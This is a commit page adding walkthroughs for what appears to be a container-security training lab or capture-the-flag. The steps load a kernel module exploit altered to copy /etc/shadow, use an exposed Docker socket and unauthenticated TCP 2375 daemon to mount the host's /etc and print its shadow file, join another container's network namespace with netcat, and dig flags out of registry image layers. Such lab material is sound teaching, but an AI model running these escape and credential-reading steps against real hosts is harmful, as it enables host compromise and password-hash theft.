Skip to content

Commit 6879fc0

Browse files
author
Mohit Gupta
committed
Adds slides and brief walkthrough
1 parent 0e70ea7 commit 6879fc0

5 files changed

Lines changed: 92 additions & 0 deletions

File tree

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
1) Get the container id for the kernel container so we can add files:
2+
3+
docker ps | grep kernel
4+
5+
The container id will be the first field
6+
7+
2) Tweak exploit.c by replacing '/bin/echo foo > /bar' with '/bin/cp /etc/shadow /tmp/'
8+
9+
3) Copy over exploit.c and Makefile to the container
10+
11+
docker cp exploit.c <container id>:/
12+
docker cp Makefile <container id>:/
13+
14+
4) Exec into the container
15+
16+
docker-compose exec kernel bash
17+
18+
5) Compile module
19+
20+
make
21+
22+
6) Load module
23+
24+
insmod exploit.ko

roles/daemon/files/walkthrough.txt

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
1) Exec into the backdoor container
2+
3+
docker-compose exec backdoor sh
4+
5+
2) Access the daemon within the UNIX socket in / and list running containers
6+
7+
docker -H unix:///docker.sock ps
8+
9+
3) Obtain the IP address of the containers gateway (the host)
10+
11+
route -n
12+
13+
4) Access the daemon through the host on TCP 2375
14+
15+
docker -H tcp://<host ip>:2375 ps
16+
17+
5) Print /etc/shadow from the host
18+
19+
docker -H unix:///docker.sock run --rm -v /etc:/host/ ubuntu cat /host/shadow
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
1) Spawn an initial container
2+
3+
docker run --rm -ti skybound/net-utils bash
4+
5+
2) In a _separate_ terminal, obtain the container id of the container created within step 1
6+
7+
docker ps
8+
9+
3) Spawn a second container that attaches onto the network stack of the first container
10+
11+
docker run --rm -ti --net container:<container id> skybound/net-utils bash
12+
13+
4) Spawn a netcat listener in the first container
14+
15+
nc -nlvp 8080
16+
17+
5) Connect to the listening netcat from the second container
18+
19+
nc -v localhost 8080
20+
21+
6) Type random gibberish and press enter in both terminals, and validate the data appears in the other terminal
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
1) List available tags
2+
3+
reg ls -f localhost:5000
4+
5+
2) Obtain the manifest of the first image and get the digest of the config
6+
7+
reg manifest -f localhost:5000/supersecretimage:v1
8+
9+
3) Download the config and observe that a file was added to /lib/udev/docker.txt within the last layer
10+
11+
reg layer -f localhost:5000/supersecretimage@<config digest from manifest> | jq
12+
13+
4) Get the digest of the bottom layer from the manifest
14+
15+
5) Download the bottom layer
16+
17+
reg layer -f localhost:5000/supersecretimage@<layer digest from manifest> > layer.tar.gz
18+
19+
6) Extract layer and cat lib/udev/docker.txt
20+
21+
tar zxvf layer.tar.gz && cat lib/udev/docker.txt
22+
23+
24+
7) For the second image, the same steps can be followed to get to the config which contains the flag
25+
26+
8) For the final flag, the config shows a file was added in the second to last layer and then deleted in the final, as such obtain the digest of the second from bottom layer from the manifest
27+
28+
9) Download the layer as before, extract and view the contents of bin/something.txt

slides.pdf

1.38 MB
Binary file not shown.

0 commit comments

Comments
 (0)